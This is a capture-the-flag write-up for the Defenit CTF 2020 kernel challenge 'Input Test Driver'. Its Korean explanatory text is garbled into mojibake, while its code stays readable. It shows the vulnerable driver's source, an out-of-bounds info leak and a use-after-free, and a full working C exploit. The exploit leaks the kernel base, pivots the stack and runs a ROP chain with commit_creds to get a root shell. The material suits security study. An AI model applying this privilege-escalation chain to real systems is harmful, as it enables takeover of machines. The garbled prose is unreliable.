Defenit CTF 2020 - Input Test Driver
๋ชฉ์ฐจ
Defenit CTF 2020 pwnable challenge KASLR๊ณผ SMEP๊ฐ ์ ์ฉ๋์ด ์๋ค. ์์ค ์ฝ๋์ intended solution์ด ์ถ์ ์๋ github์ ์ฌ๋ผ์ ์๋ค. ํค๋ณด๋, ๋ง์ฐ์ค์ ๊ฐ์ ์ฌ์ฉ์ ์
๋ ฅ ์ฅ์น์ ์ปค๋์ ์ฐ๊ฒฐํด์ฃผ๋ input device driver๋ฅผ ํ๋ด๋ธ ์ฝ๋์ด๋ค. ์๋ฅผ ๋ค์ด ํ๋์จ์ด์ธ ํค๋ณด๋์์ ํน์ ํค๋ฅผ ๋๋ฅด๋ฉด, ์ ์ ๊ณต๊ฐ์์๋ ์ฌ์ค ์ด๊ฑธ๋ก ์ถฉ๋ถํ ๊ฒ ๊ฐ์๋ฐ ๋ฌธ์ ๋ ์ปค๋์ Exploit์ ์งํํ๊ธฐ์ ์์ ๋ณดํธ ๊ธฐ๋ฒ์ ๋์ง์ด๋ณด๋ฉด SMEP๊ฐ ๊ฑธ๋ ค์๊ธฐ ๋๋ฌธ์ kernel ROP๋ฅผ ํด์ผํ์ง๋ง, KASLR์ด ๊ฑธ๋ ค์์ด ์ปค๋ base ์ฃผ์๋ฅผ ๊ตฌํด์ผ ํ๋ค. ๋๋๊ณ ๋๋ผ์ด๋ฒ์ ํต์ ํ๊ธฐ ์ํด ํ์ง๋ง ์ฌ๋ฉ ๊ฐ์ฒด ์์ ์๋ ๋ฐ์ดํฐ๋ ์ด๊ธฐํํ์ง ์๊ธฐ ๋๋ฌธ์, ํด์ ๋ ์ด๋ ๊ฒ ์ด๋ฅผ ์ด์ฉํด 392๋ฐ์ดํธ๋ฅผ 0์ด ์๋ ๊ฐ(0x42)๋ก ์ฑ์๋ฃ์ผ๋ฉด UAF ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ณ ๋ ํ์ ์ํฉ์ ์๊ฐํด๋ณด๋ฉด ๋ฐ๋ผ์ Exploit ํ๋ฆ์ ์ค๋ช
ํ๋ฉด, ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฐ๊ฟ rip control๋ง ๊ฐ๋ฅํ ์ํฉ์ด๋ฏ๋ก 0x00. Introduction
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./tmp/"$ROOTFS_NAME".cpio \
-append 'root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr' \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,smep \
-smp 1 \ Concept
/dev/input/eventX๊ฐ์ ๋๋ฐ์ด์ค ํ์ผ๋ก ๋
ธ์ถ/dev/input/eventX ๋ํ์ด์ค ํ์ผ์ ์ฝ์ด์ ์ค์ ๋์์ผ๋ก ๋ฐ๊พผ๋ค. 0x01. Vulnerability
Info Leak
static int report_touch_press(char *start, int len) {
int i;
if(!len) {
printk("len error");
return -1;
}
for(i=0; i<=len; i++) { // 1-byte oob
input_report_key(test_dev, BTN_TOUCH, 1);
input_report_abs(test_dev, ABS_X, *(char *)(start+i));
input_report_abs(test_dev, ABS_Y, *(char *)(start+i));
input_sync(test_dev);
}
return 0;
}
...
static long input_test_driver_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch(cmd) {
case 0x1337:
printk("report_touch_press call");
mutex_lock(&test_mutex);
if(!_fp) {
_fp = kzalloc(sizeof(struct fp_struct), GFP_ATOMIC);
_fp->fp_report_ps = report_touch_press;
_fp->fp_report_rl = report_touch_release;
_fp->gift = printk;
_fp->gift("_fp class allocate");
}
_fp->fp_report_ps(ptr, strlen(ptr)); // use strlen() to return length
mutex_unlock(&test_mutex);
break;
...
}
...
}input_test_driver_ioctl()๋ ์ ์ ๊ณต๊ฐ์์ ํด๋น ๋๋ผ์ด๋ฒ์ ๋ํด ioctl()๋ฅผ ํธ์ถํ์ ๋ ์ปค๋ ๋ด๋ถ์์ ํธ์ถ๋๋ ํจ์์ด๋ค. cmd๋ฅผ 0x1337์ผ๋ก ์ค์ ํด์ ioctl()์ ํธ์ถํ๋ฉด _fp์ ์กด์ฌ ์ฌ๋ถ์ ๋ฐ๋ผ ๊ตฌ์กฐ์ฒด๋ฅผ ์ด๊ธฐํํ๊ณ fp_report_ps()๋ฅผ ํธ์ถํ๋ค.report_touch_press(), report_touch_release()์ ๊ฐ๊ฐ ํฐ์น ์คํฌ๋ฆฐ์ ๋๋ฆ, ๋์ ๊ฐ์งํ์ฌ ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํค๋ ํจ์์ด๋ค. ์ด ๋ ๋ ๋ฒ์งธ ์ธ์์ธ len์ strlen(ptr)์ด ๋ค์ด๊ฐ๊ฒ ๋๋ค. ๊ทธ๋ฌ๋ฉด ptr์ด NULL์ ๋ง๋๊ธฐ ์ ๊น์ง์ ๊ธธ์ด๊ฐ len์ ์ ๋ฌ๋๋ฏ๋ก \x00์ ๊ฝ ์ฑ์ฐ๋ฉด ๋ค ๋ฉ๋ชจ๋ฆฌ๊น์ง leak์ด ๊ฐ๋ฅํ๋ค.report_touch_press() ๋ด๋ถ์์๋ for(i=0; i<=len; i++)์ ๊ฐ์ด <=์ผ๋ก ๋ฒ์๋ฅผ ์ฒดํฌํ๊ธฐ ๋๋ฌธ์ 1-byte OOB๊ฐ ๋ฐ์ํ๋ค. Use After Free
static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char *result;
size_t len;
mutex_lock(&test_mutex);
if(ptr) {
kfree(ptr); // ptr still pointing slab chunk
}
if(count<256) {
len = count;
count = 256;
} else if(count>0x40000) {
len = 416;
} else {
len = count;
}
if(result = (char *)kmalloc(count, GFP_ATOMIC)) // fails if count is too big
ptr = result; // dangling pointer!
if (copy_from_user(ptr, buf, len) != 0) {
mutex_unlock(&test_mutex);
return -EFAULT;
}
mutex_unlock(&test_mutex);
return 0;
}input_test_driver_write()๋ ์ ์ ๊ณต๊ฐ์์ ํด๋น ๋๋ผ์ด๋ฒ์ ๋ํด write()๋ฅผ ํธ์ถํ์ ๋ ์ปค๋ ๋ด๋ถ์์ ํธ์ถ๋๋ ํจ์์ด๋ค.ptr์ด NULL์ด ์๋๋ฉด ๊ฐ๋ฆฌํค๊ณ ์๋ ์์ญ์ ํด์ ํ๊ณ ๋ค์ ํ ๋นํ๋๋ฐ, ptr์ ์ด๊ธฐํํ์ง๋ ์๋๋ค. ๋์ ๋ค์์ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ์๋ก ํ ๋นํด์ ptr์ ์ฃผ์๋ฅผ ๋ฃ์ด์ฃผ๋๋ฐ, ์ฌ๊ธฐ์์ ๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.kmalloc()์์ ํฐ ์ฌ์ด์ฆ์ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ์์ฒญํ๋ฉด ํ ๋น์ ์คํจํ๊ฒ ๋๊ณ , NULL์ ๋ฆฌํดํ๋ค. result์ NULL์ด ๋ค์ด๊ฐ๋ฉด ptr์ ๊ฐ ๊ฐฑ์ ์ด ๋์ง ์์ผ๋ฏ๋ก, ํด์ ํ๋ ptr์ด dangling pointer๋ก ๋จ๊ฒ ๋๋ค. 0x02. Exploit
Info Leak
static struct fp_struct {
char dummy[392];
asmlinkage int (*gift)(const char *, ...);
int (*fp_report_ps)(char *, int);
int (*fp_report_rl)(void);
};fp_struct->gift๋ผ๋ ๋ณ์๋ช
์ printk() ํจ์์ ์ฃผ์๊ฐ ์์ผ๋ฏ๋ก ์ ์๊ฐํด๋ณด๋ฉด, strlen()์ ์ด์ฉํด ๊ธธ์ด๋ฅผ ์ธก์ ํ๋ ์ทจ์ฝ์ ๋๋ฌธ์ dummy๋ฅผ ๊ฐ๋ ์ฑ์์ฃผ๋ฉด gift์ ์ ์ฅ๋ ์ฃผ์๊น์ง ์ถ๋ ฅํ๊ฒ ๋๋ค.static int input_test_driver_release(struct inode *inode, struct file *file) {
printk("input_test_driver release");
mutex_lock(&test_mutex);
if(ptr) {
kfree(ptr);
ptr = 0;
}
if(_fp) {
kfree(_fp);
_fp = 0;
}
mutex_unlock(&test_mutex);
return 0;
}open()ํ๋ file descriptor๋ฅผ close()ํ ๋ ํธ์ถ๋๋ input_test_driver_release()๋ฅผ ๋ณด๋ฉด ptr, _fp๋ฅผ ํด์ ํ๊ณ ์ด๊ธฐํํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค._fp์ ํฌ๊ธฐ์ ๋น์ทํ ํฌ๊ธฐ์ ptr์ ํ ๋นํ๋ค๋ฉด ํด์ ๋์๋ ์์ญ์ ๋ค์ ๋ฐ์์ ์ฌ์ฉํ ์ ์๋ค. fd1 = open("/dev/input/event2", O_RDONLY);
fd2 = open("/dev/input_test_driver", O_RDWR);
write(fd2, "AAAAAAAA", 8); // kernel panic if there is no ptr
ioctl(fd2, 0x1337, NULL);
close(fd2);
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x42, 392);
write(fd2, payload, 392);
ioctl(fd2, 0x1337, NULL);ioctl() ํธ์ถ์ ํตํด _fp๋ฅผ ํ ๋นํ๊ณ close()ํ๋ฉด ์ฌ๋ฉ ๊ฐ์ฒด์ ํฌ๊ธฐ๊ฐ 416๋ฐ์ดํธ์ด๋ฏ๋ก kmalloc-512 ์บ์๋ก ์ด๋ํ๋ค. printk()์ ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ์ง ์๊ธฐ ์ํด 392๋ฐ์ดํธ์ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ํ ๋นํ๋ ค๊ณ ํ๋ฉด kmalloc-512 ์บ์์ ์๋ ๊ฐ์ฒด๊ฐ ๋ฐํ๋๋ค.strlen()์์ NULL์ ๋ง๋ ๋๊น์ง ๊ธธ์ด๋ฅผ ์ธก์ ํ๋ฏ๋ก printk()์ ์ฃผ์๋ฅผ leakํ ์ ์๋ค./ $ ./exp
type: 1, code: 330, value: 0x1
type: 3, code: 0, value: 0x41
type: 3, code: 1, value: 0x41
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x0
type: 3, code: 1, value: 0x0
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x42
type: 3, code: 1, value: 0x42
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0x20
type: 3, code: 1, value: 0x20
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xb8
type: 3, code: 1, value: 0xb8
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xae
type: 3, code: 1, value: 0xae
type: 0, code: 0, value: 0x0
type: 3, code: 0, value: 0xb3
type: 3, code: 1, value: 0xb3
leak : 0xffffffffb3aeb820 Use After Free
ptr์ dangling pointer๊ฐ ๋์ด free๋ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๋ค. ์ด ์ฌ๋ฉ ๊ฐ์ฒด๊ฐ kmalloc-512 ์บ์์ ์๋ค๋ฉด ioctl()์ ํตํด _fp ํ ๋น ์ ๊ทธ ๊ฐ์ฒด๋ฅผ ๋ฐํ๋ฐ๊ฒ ๋๋ค.static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
...
if(count<256) {
len = count;
count = 256;
} else if(count>0x40000) {
len = 416;
} else {
len = count;
}
if(result = (char *)kmalloc(count, GFP_ATOMIC))
ptr = result;
if (copy_from_user(ptr, buf, len) != 0) {
mutex_unlock(&test_mutex);
return -EFAULT;
}
...
}ptr, _fp๊ฐ ๊ฐ์ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋๊ณ , kmalloc()์ size๊ฐ ์ปค์ ํ ๋น์ ์คํจํ๋๋ผ๋ copy_from_user()๋ ์คํ๋๋ฏ๋ก _fp์ ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฎ์ด์ธ ์ ์๋ค. fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x43, 392);
write(fd2, payload, 416);
write(fd2, payload, 0x500000);
ioctl(fd2, 0x1337, NULL);
*(uint64_t *)(payload + 408) = xchg_64;
write(fd2, payload, 0x510000);
ioctl(fd2, 0x7331, NULL);write()๋ฅผ ํตํด 416 ๋ฐ์ดํธ์ง๋ฆฌ ์ฌ๋ฉ ๊ฐ์ฒด ํ ๋นwrite()๋ฅผ ๋ค์ ํธ์ถํด์ kmalloc-512๋ก ์ด๋ioctl()์ ํตํด _fp ํ ๋น, ์ด ๋ kmalloc-512์์ ์ฌ๋ฉ ๊ฐ์ฒด๋ฅผ ๋ฐ์์ค๊ฒ ๋จwrite()๋ฅผ ๋ง์ง๋ง์ผ๋ก ํธ์ถํด์ ptr, ์ฆ _fp์ 416 ๋ฐ์ดํธ๋ฅผ ์ฐ๋ ๊ณผ์ ์์ ํจ์ ํฌ์ธํฐ overwritexchg eax, esp ๊ฐ์ ฏ๊ณผ fake stack์ ์ด์ฉํด rop payload๋ฅผ ์ ๋ฌํ ์ ์๋ค. 0x03. Payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/input.h>
void shell() {
execl("/bin/sh", "sh", NULL);
}
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = &shell;
}
void set_fake_stack(void *xchg_64) {
uint32_t xchg_32;
int i = 0;
size_t pop_rdi_ret = xchg_64 + 0x6170f;
size_t prepare_kernel_cred = xchg_64 + 0x8fe8f;
size_t pop_rcx_ret = xchg_64 + 0x285312;
size_t mov_rdi_rax_rep_pop_rbp_ret = xchg_64 + 0xf2ee;
size_t commit_creds = xchg_64 + 0x8fadf;
size_t swapgs_pop_rbp_ret = xchg_64 + 0x4c103;
size_t iretq = xchg_64 + 0x2bc4f;
xchg_32 = (uint32_t)xchg_64;
mmap((void *)(xchg_32), 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
backup_rv();
((uint64_t *)xchg_32)[i++] = pop_rdi_ret;
((uint64_t *)xchg_32)[i++] = 0;
((uint64_t *)xchg_32)[i++] = prepare_kernel_cred;
((uint64_t *)xchg_32)[i++] = pop_rcx_ret;
((uint64_t *)xchg_32)[i++] = 0;
((uint64_t *)xchg_32)[i++] = mov_rdi_rax_rep_pop_rbp_ret;
((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
((uint64_t *)xchg_32)[i++] = commit_creds;
((uint64_t *)xchg_32)[i++] = swapgs_pop_rbp_ret;
((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
((uint64_t *)xchg_32)[i++] = iretq;
((uint64_t *)xchg_32)[i++] = rv.user_rip;
((uint64_t *)xchg_32)[i++] = rv.user_cs;
((uint64_t *)xchg_32)[i++] = rv.user_rflags;
((uint64_t *)xchg_32)[i++] = rv.user_rsp;
((uint64_t *)xchg_32)[i++] = rv.user_ss;
}
int main() {
struct input_event ie;
int fd1, fd2, ret;
char payload[416];
size_t leak = 0xffffffff00000000;
int i = 0, flag = 0;
size_t xchg_64;
fd1 = open("/dev/input/event2", O_RDONLY);
fd2 = open("/dev/input_test_driver", O_RDWR);
// step 1 : leak kernel base address
write(fd2, "AAAAAAAA", 8);
ioctl(fd2, 0x1337, NULL);
close(fd2);
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x42, 392);
write(fd2, payload, 392);
ioctl(fd2, 0x1337, NULL);
while(1) {
read(fd1, &ie, sizeof(struct input_event));
printf("type: %d, code: %d, value: 0x%x \n", ie.type, ie.code, (unsigned char)ie.value);
if(ie.code == 1 && ie.value == 0x20 || ie.code == 1 && flag) {
leak = leak | (unsigned char)(ie.value) << (flag * 8);
flag++;
if(flag == 4)
break;
}
}
// step 2 : calculate the address of xchg_64
printf("leak : 0x%lx\n", leak);
xchg_64 = leak - 0xcdd5f;
printf("xchg_64 : 0x%lx\n", xchg_64);
close(fd1);
close(fd2);
// step 3 : set fake stack
set_fake_stack(xchg_64);
// step 4 : overwrite function pointer
fd2 = open("/dev/input_test_driver", O_RDWR);
memset(payload, 0x43, 392);
write(fd2, payload, 416);
write(fd2, payload, 0x500000);
ioctl(fd2, 0x1337, NULL);
*(uint64_t *)(payload + 408) = xchg_64;
write(fd2, payload, 0x510000);
ioctl(fd2, 0x7331, NULL);
close(fd2);
return 0;
}